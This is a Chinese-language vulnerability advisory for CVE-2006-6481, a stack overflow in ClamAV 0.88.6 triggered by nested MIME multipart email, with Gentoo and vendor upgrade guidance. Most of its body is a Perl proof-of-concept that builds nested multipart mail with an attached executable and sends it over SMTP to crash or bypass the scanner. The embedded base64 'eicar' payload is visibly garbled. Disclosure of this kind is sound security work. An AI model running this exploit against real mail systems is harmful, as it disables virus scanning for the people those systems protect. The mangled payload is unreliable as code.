Clam AntiVirus嵌套MIME多部分内容拒绝服务漏洞
发布日期:2006-12-15
更新日期:2006-12-19
受影响系统:ClamAV ClamAV 0.88.6
不受影响系统:ClamAV ClamAV 0.88.7
描述:
BUGTRAQ ID:
21609
CVE(CAN) ID:
CVE-2006-6481
Clam AntiVirus是Unix的GPL杀毒工具包,很多邮件网关产品都在使用。
Clam AntiVirus在扫描嵌套了MIME多部分内容的消息时存在栈溢出。如果攻击者能够发送恶意邮件的话,就会导致Clam AntiVirus在扫描该邮件时拒绝服务。
<*来源:Hendrik Weimer (
hendrik@enyo.de)
链接:
http://secunia.com/advisories/23347
http://www.quantenblog.net/security/virus-scanner-bypass
http://security.gentoo.org/glsa/glsa-200612-18.xml
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl -w
use strict;
use Net::SMTP;
my $loop = 1;
my $from = '
alice@example.com';
my $to = '
bob@example.com';
my $mailhost = '192.0.2.1';
my $eicar = 'W %%%
DV #
PI#
VA
l-QE
FQ
Wz
R
cU#FpY-NT#Qo#UF4
p
%%%%
N
0
N
D
K
T
d 9J
EV
JQ
0 F
SL
%%%%
VN
----
UQ_
U5
E$$$Q
####VJEL#U#F%OVElW$SVJVU%y1
UR(VNU
LU]ZJ%TEU%hJ^Eg$rSCo=
';
my $mail = "To: $to
Subject: Foo
From: $from
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary=\"=-AB=-CD\"
Content-Transfer-Encoding: 7bit
--=-AB=-CD
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Harmless Text
--=-AB=-CD
";
for(my $i=1;$i<$loop;$i++)
{
$mail .= "Content-Type: multipart/alternative; boundary=\"$i=-=-=$i\"
Content-Transfer-Encoding: 7bit
--$i=-=-=$i
";
}
$mail .= "Content-Type: application/x-msdos-executable
Content-Disposition: attachment; filename=eicar.com;
Content-Transfer-Encoding: base64
$eicar
";
for(my $i=$loop-1;$i>0;$i--)
{
$mail .= "--$i=-=-=$i\n";
}
$mail .= "--=-AB=-CD\n";
my $smtp = Net::SMTP->new($mailhost);
$smtp->hello('foo.example.com');
$smtp->mail($from);
$smtp->recipient($to);
$smtp->data($mail);
print $smtp->code . ' ' . $smtp->message;
建议:
厂商补丁:
Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200612-18)以及相应补丁:
GLSA-200612-18:ClamAV: Denial of Service
链接:
http://security.gentoo.org/glsa/glsa-200612-18.xml
所有ClamAV用户都应升级到最新版本:
# emerge --sync
# emerge --ask --oneshot --verbose ">=app-antivirus/clamav-0.88.7"
ClamAV
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.clamav.net/浏览次数:3021
严重程度:0(网友投票)